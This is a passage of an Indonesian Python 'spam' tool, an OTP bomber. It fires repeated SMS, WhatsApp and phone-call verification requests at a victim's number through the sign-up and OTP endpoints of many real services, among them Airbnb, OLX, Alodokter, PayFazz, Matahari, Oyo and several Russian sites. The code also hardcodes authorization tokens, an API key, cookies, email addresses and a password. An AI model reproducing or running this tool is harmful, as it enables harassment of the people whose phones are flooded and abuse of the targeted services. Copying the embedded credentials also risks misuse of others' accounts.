304 | 'accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7&',
305 | 'authorization': 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1dWlkIjoiODZhM2Q0ZmEtZDE3Mi00NDkwLTllOTAtN2MyM2UyZjA1MDA0IiwiaWF0IjoxNTk3NjY3MTgzLCJpc3MiOiJ3YXBpLnJ1cGFydXBhIn0.QBFVwucPwKlxWc43abnzEgjbNFOMHXMsXd3EaYk4tyU',
306 | 'content-length': '103',
307 | 'content-type': 'application/json',
308 | 'origin': 'https://ruparupa.com',
309 | 'referer': 'https://ruparupa.com/verification?page=otp-choices',
310 | 'sec-fetch-mode': 'cors',
311 | 'sec-fetch-site': 'same-site',
312 | 'user-agent': ua.random ,
313 | 'user-platform': 'mobile',
314 | 'x-company-name': 'odi',
315 | 'x-frontend-type': 'mobile',
316 | }
317 | dataurl = {"phone":"0"+nom,"email":"abilseno11@gmail.com","action":"register","password":""}
318 | dataurljson = json.dumps(dataurl)
319 | dataurl2 = {"phone":"0"+nom,"action":"register","channel":"chat","email":"","customer_id":"0","is_resend":0}
320 | dataurl2json = json.dumps(dataurl2)
321 | a = ru.post(url,headers=hdurl,data=dataurljson).text
322 | b = ru.post(url2,headers=hdurl2,data=dataurl2json).text
323 | c = json.loads(b)
324 | if c['message'] == 'success':
325 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({im}WA{kan}) {ken}RupaRupa{kan} OK")
326 | else:
327 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({im}WA{kan}) {ken}RupaRupa{kun} Gagal")
328 | def dekoruma(nom):
329 | data = json.dumps({"phoneNumber":"+62"+nom,"platform":"wa"})
330 | r = ru.Session()
331 | for x in range(1):
332 | cal = r.post("https://auth.dekoruma.com/api/v1/register/request-otp-phone-number/?format=json",headers={"content-type": "application/json","user-agent":ua.random},data=data).text
333 | if '' in cal:
334 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({im}WA{kan}) {ken}Dekoruma{kan} OK")
335 | else:
336 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({im}WA{kan}) {ken}Dekoruma{kun} Gagal")
337 | def jag(nom):
338 | p = ru.get("https://id.jagreward.com/member/verify-mobile/"+nom)
339 | y = json.loads(p.text)
340 | if y["message"] == 'Anda akan menerima sebuah panggilan dari sistem kami. Silakan isi 6 ANGKA TERAKHIR dari nomor telepon dibawah ini.':print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({anj}CALL{kan}) {ken}JagReward{kan} OK")
341 | else:print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({anj}CALL{kan}) {ken}JagReward{kun} Gagal")
342 | def airbnb(nom):
343 | head = {
344 | "Host": "www.airbnb.co.id",
345 | "content-length": "83",
346 | "device-memory": "2",
347 | "x-csrf-token": "V4$.airbnb.co.id$N_Kx2ju9iX8$gUBHaO73_UKCj4rDt2rHVNj7zvmZfOYgz38XKc9dzKw=",
348 | "x-csrf-without-token": "1",
349 | "user-agent": ua.random ,
350 | "viewport-width": "360",
351 | "content-type": "application/json",
352 | "accept": "application/json, text/javascript, */*; q=0.01",
353 | "cache-control": "no-cache",
354 | "x-requested-with": "XMLHttpRequest",
355 | "origin": "https://www.airbnb.co.id",
356 | "referer": "https://www.airbnb.co.id/signup_login?redirect_url=/help",
357 | }
358 | dat = json.dumps({"phoneNumber": "62"+nom,"workFlow":"GLOBAL_SIGNUP_LOGIN","otpMethod":"TEXT"})
359 | for x in range(5):
360 | cal = ru.post("https://www.airbnb.co.id/api/v2/phone_one_time_passwords?currency=US&key=d306zoyjsyarp7ifhu67rjxn52tv0t20&locale=id",data=dat,headers=head)
361 | if 'internationalPhoneNumber' in cal.text:
362 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}Airbnb{kan} OK")
363 | else:
364 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}Airbnb{kun} Gagal")
365 | def kelaspintar(nom):
366 | r = ru.Session()
367 | headers={
368 | 'x-requested-with':'XMLHttpRequest',
369 | 'User-Agent':ua.random ,
370 | 'Referer':'https://www.kelaspintar.id/',
371 |
372 | }
373 | dat = {
374 | "user_mobile":nom,
375 | "otp_type":"send_otp_reg",
376 | "mobile_code":"%2B62",
377 | }
378 | x = r.post('https://www.kelaspintar.id/user/otpverification',data=dat,headers=headers).text
379 | if 'OTP send' in x:
380 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}KelasPintar{kan} OK")
381 | else:
382 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}KelasPintar{kun} Gagal")
383 | def payfazz(nom):
384 | hd = {'Host': 'api.payfazz.com', 'content-length': '17', 'accept': '*/*', 'origin': 'https://www.payfazz.com','user-agent': ua.random, 'content-type': 'application/x-www-form-urlencoded; charset=UTF-8', 'referer': 'http://www.payfazz.com/register/BEN6ZF74XL', 'accept-encoding': 'gzip, deflate, br', 'accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
385 | r = ru.Session()
386 | a = r.post('https://api.payfazz.com/v2/phoneVerifications', headers=hd, data={'phone': '0'+nom})
387 | if 'phoneVerificationId' in a.text:
388 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}PayFazz{kan} OK")
389 | else:
390 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}PayFazz{kun} Gagal")
391 | def alodokter(nom):
392 | r = ru.Session()
393 | r.headers.update({'referer':'https://www.alodokter.com/login-alodokter'})
394 | hy = r.get("https://www.alodokter.com/login-alodokter")
395 | tol = bs(hy.text,'html.parser')
396 | token=tol.find('meta',{'name':'csrf-token'})['content']
397 | hd = {
398 | 'user-agent':ua.random,
399 | 'content-type':'application/json',
400 | 'referer':'https://www.alodokter.com/login-alodokter',
401 | 'accept':'application/json',
402 | 'origin':'https://www.alodokter.com',
403 | 'x-csrf-token':token
404 | }
405 | y = r.post("https://www.alodokter.com/login-with-phone-number",headers=hd,json={"user":{"phone":"0"+nom}})
406 | if y.json()['status'] == 'success':
407 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}Alodokter{kan} OK")
408 | else:
409 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}Alodokter{kun} Gagal")
410 | def prosehat(nom):
411 | head={
412 | 'accept': 'application/json, text/javascript, */*; q=0.01',
413 | 'origin': 'https://www.prosehat.com',
414 | 'x-requested-with': 'XMLHttpRequest',
415 | 'user-agent': ua.random,
416 | 'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
417 | 'referer': 'https://www.prosehat.com/akun',
418 | }
419 | dat={'phone_or_email':'0'+nom,'action':'ajaxverificationsend'}
420 | ng=ru.post('https://www.prosehat.com/wp-admin/admin-ajax.php',data=dat,headers=head)
421 | if "token" in ng.text:
422 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}Prosehat{kan} OK")
423 | else:
424 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}Prosehat{kun} Gagal")
425 | def theharvest(nom):
426 | hd = {
427 | 'user-agent':ua.random
428 | }
429 | dat = {
430 | 'phone':nom
431 | }
432 | r = ru.Session()
433 | hyu = r.post("https://harvestcakes.com/register",headers=hd,data=dat)
434 | if 'function' in hyu.text:
435 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}TheHarvest{kan} OK")
436 | else:
437 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}TheHarvest{kun} Gagal")
438 | def danacinta(nom):
439 | hd = {'user-agent':ua.random}
440 | for x in range(5):
441 | yu = ru.get("https://api.danacita.co.id/users/send_otp/?mobile_phone=0"+nom, headers=hd)
442 | yu1 = json.loads(yu.text)
443 | if yu1["detail"] == 'Successfully sent OTP SMS':
444 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}DanaCinta{kan} OK")
445 | else:
446 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}DanaCinta{kun} Gagal")
447 | def redbus(nom):
448 | for i in range(2):
449 | kil = ru.get("https://m.redbus.id/api/getOtp?number="+nom+"&cc=62&whatsAppOpted=true").text
450 | if 'OTP' in kil:
451 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}RedBus{kan} OK")
452 | else:
453 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}RedBus{kun} Gagal")
454 | def olx(nom):
455 | head = {
456 | "accept": "*/*",
457 | "x-newrelic-id": "VQMGU1ZVDxABU1lbBgMDUlI=",
458 | "x-panamera-fingerprint": "83b09e49653c37fb4dc38423d82d74d7#1597271158063",
459 | "user-agent": ua.random ,
460 | "content-type": "application/json",
461 | }
462 | dat = json.dumps({
463 | "grantType": "retry",
464 | "method": "sms",
465 | "phone": "+62"+nom,
466 | "language": "id"
467 | })
468 | r = ru.Session()
469 | for x in range(5):
470 | eek = r.post("https://www.olx.co.id/api/auth/authenticate",data=dat,headers=head).text
471 | if 'status' in eek:
472 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}OLX{kan} OK")
473 | else:
474 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}OLX{kun} Gagal")
475 | def rupiahcepat(nom):
476 | hd = {
477 | "accept": "text/html, application/xhtml+xml, application/json, */*",
478 | "accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7",
479 | "content-length": "166",
480 | "content-type": "application/x-www-form-urlencoded; charset=UTF-8",
481 | "origin": "https://h5.rupiahcepatweb.com",
482 | "referer": "https://h5.rupiahcepatweb.com/dua2/pages/openPacket/openPacket.html?activityId=11&invite=200219190100215723",
483 | "sec-fetch-dest": "empty",
484 | "sec-fetch-mode": "cors",
485 | "sec-fetch-site": "same-site",
486 | "user-agent": ua.random
487 | }
488 | url = 'https://apiservice.rupiahcepatweb.com/webapi/v1/request_login_register_auth_code'
489 | dit = {"mobile":"0"+nom,"noise":"1583590641573155574","request_time":"158359064157312","access_token":"11111"}
490 | dat = json.dumps(dit)
491 | r = ru.Session()
492 | a = r.post(url,headers=hd,data={"data":dat}).text
493 | b = json.loads(a)["code"]
494 | if b == 0:print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}RupiahCepat{kan} OK")
495 | else:print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}RupiahCepat{kun} Gagal")
496 | def matahari(nom):
497 | r = ru.Session()
498 | hd = {
499 | 'Host':'thor.matahari.com',
500 | 'content-length':'235',
501 | 'modulecode':'MR',
502 | 'origin':'https://www.matahari.com',
503 | 'authorization':'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJtb2R1bGVDb2RlIjoiTVIiLCJ1c2VyVHlwZSI6IjEiLCJleHAiOjE1NDM2NjA5MDYsInVzZXJOYW1lIjoiS0Zpb2ViMWhveU9FRDBERWQiLCJ1c2VySWQiOiJwcm9kdWN0aW9uNDYxOTAyNjQ0NSIsImp0aSI6IjFmMjI3NzE5LTY4OTMtNDhjYy1iNmQzLWY2OTkzMWMzMDIwYSIsImlhdCI6MTU0MzY1NzMwNn0.6XdrUX9QzD0Ld2eOJep7QnSwVjfFyjq-v7P4w0lGG9M',
504 | 'content-type':'application/json',
505 | 'accept':'application/json, text/plain, */*',
506 | 'clientid':'mds_mweb',
507 | 'user-agent':ua.random ,
508 | 'sessionid':'1599562523019',
509 | 'save-data':'on',
510 | 'referer':'https://www.matahari.com/register',
511 | 'accept-encoding':'gzip, deflate, br',
512 | 'accept-language':'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'
513 | }
514 | dat = {"emailAddress":"abilseno11@gmail.com","firstName":"Bapak","lastName":"Gile","mobileNumber":"0"+nom,"mccCardNumber":"","password":"savagetro123","referralCode":"","dateOfBirth":"03-01-1999","gender":"Male","registrationType":"N"}
515 | datj = json.dumps(dat)
516 | for x in range(5):
517 | yu = r.post("https://thor.matahari.com/MatahariMobileAPI/register",headers=hd,data=datj)
518 | if 'Success' in yu.text:
519 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}Matahari{kan} OK")
520 | else:
521 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}Matahari{kun} Gagal")
522 | def iviru(nom):
523 | r = ru.Session()
524 | hd = {'user-agent':ua.random}
525 | dat = {'phone':'62'+nom}
526 | for x in range(2):
527 | hlo = r.post("https://api.ivi.ru/mobileapi/user/register/phone/v6",headers=hd,data=dat)
528 | if 'error' in hlo.text:
529 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}ivi.ru{kun} Gagal")
530 | else:
531 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}ivi.ru{kan} OK")
532 | def beltelecom(nom):
533 | r = ru.Session()
534 | hd = {'user-agent':ua.random}
535 | dat = {'phone':'62'+nom}
536 | ho = r.post("https://myapi.beltelecom.by/api/v1/auth/check-phone?lang=ru",headers=hd,data=dat)
537 | if ('error' in ho.text) or ('Too many' in ho.text):
538 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}Beltelecom{kun} Gagal")
539 | else:
540 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}Beltelecom{kan} OK")
541 | def mailru(nom):
542 | r = ru.Session()
543 | hd = {
544 | 'user-agent':ua.random ,
545 | 'Content-Type':'application/json',
546 | }
547 | dat = json.dumps({
548 | 'phone':'62'+nom,
549 | 'api':2,
550 | 'email':'akuntesnuyul@gmail.com',
551 | 'x-email':'akunnuyul64@gmail.com',
552 | })
553 | yu = r.post("https://cloud.mail.ru/api/v2/notify/applink",headers=hd,data=dat)
554 | if 'error' in yu.text:
555 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}MailRu{kun} Gagal")
556 | else:
557 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}MailRu{kan} OK")
558 | def youla(nom):
559 | r = ru.Session()
560 | hd = {'user-agent':ua.random}
561 | dat = {'phone':'62'+nom}
562 | yu = r.post("https://youla.ru/web-api/auth/request_code",headers=hd,data=dat)
563 | if 'error' in yu.text:
564 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}Youla{kun} Gagal")
565 | else:
566 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}Youla{kan} OK")
567 | def oyo(nom):
568 | r = ru.Session()
569 | hd = {
570 | "Host": "identity-gateway.oyorooms.com",
571 | "consumer_host": "https://www.oyorooms.com",
572 | "accept-language": "id",
573 | "access_token": "SFI4TER1WVRTakRUenYtalpLb0w6VnhrNGVLUVlBTE5TcUFVZFpBSnc=",
574 | "User-Agent": "Mozilla/5.0 (Linux; Android 10; SM-A107F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Mobile Safari/537.36",
575 | "Content-Type": "application/json",
576 | "accept": "*/*",
577 | "origin": "https://www.oyorooms.com",
578 | "referer": "https://www.oyorooms.com/login",
579 | "Accept-Encoding": "gzip, deflate, br",
580 | }
581 | dat=json.dumps({"phone":nom,"country_code":"+62","country_iso_code":"ID","nod":"4","send_otp":"true","devise_role":"Consumer_Guest"})
582 | y = r.post("https://identity-gateway.oyorooms.com/identity/api/v1/otp/generate_by_phone?locale=id",headers=hd,data=dat)
583 | y1 = json.loads(y.text)["otp_sent"]
584 | if y1 == True:
585 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}OyoHotels{kan} OK")
586 | else:
587 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}OyoHotels{kun} Gagal")
588 | def jenius(nom):
589 | r = ru.Session()
590 | hd = {
591 | "accept": "*/*",
592 | "btpn-apikey": "f73eb34d-5bf3-42c5-b76e-271448c2e87d",
593 | "version": "2.36.1-7565",
594 | "accept-language": "id",
595 | "x-request-id": "d7ba0ec4-ebad-4afd-ab12-62ce331379be",
596 | "Content-Type": "application/json",
597 | "Host": "api.btpn.com",
598 | "Connection": "Keep-Alive",
599 | "Accept-Encoding": "gzip",
600 | "Cookie": "c6bc80518877dd97cd71fa6f90ea6a0a=24058b87eb5dac1ac1744de9babd1607",
601 | "User-Agent": "okhttp/3.12.1"
602 | }
603 | dat={"query":"mutation registerPhone($phone: String!, $language: Language!) {\n registerPhone(input: {phone: $phone, language: $language}) {\n authId\n tokenId\n __typename\n }\n}\n","variables":{"phone":nom,"language":"id"},"operationName":"registerPhone"}
604 | udh = r.post("https://api.btpn.com/jenius",headers=hd,data=dat)
605 | print (udh.text)
606 | def vadershop(nom):
607 | r = ru.Session()
608 | hd = {'user-agent':'Mozilla/5.0 (Linux; Android 9; vivo 1902) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.136 Mobile Safari/537.36'}
609 | dat = json.dumps(['62'+nom,'Vader Shop'])
610 | y = r.post("https://api.vader-api.com/account/sendmobilecodeasync.json",headers=hd,data=dat).text
611 | if ('Gagal' in y) or ('hari' in y):
612 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({anj}CALL{kan}) {ken}VaderShop{kun} Gagal")
613 | else:
614 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({anj}CALL{kan}) {ken}VaderShop{kan} OK")
615 | try:
616 | os.system("clear")
617 | bnr()
618 | menu=["Mulai","Grup WhatsApp","Info Tools","Update"]
619 | print (f" {tot}MENU{sop} ")
620 | for i in range(len(menu)):
621 | print (f"{ken} [0"+str(i+1).ljust(1)+"] \033[31m"+menu[i])
622 | main.main()
623 | except ru.ConnectionError:print (f"{ken}[{kun}•{ken}] {kun}Koneksi Error")
624 | except KeyboardInterrupt:print (f"{ken}[{kun}•{ken}] {kun}Program dihentikkan paksa")
625 |
--------------------------------------------------------------------------------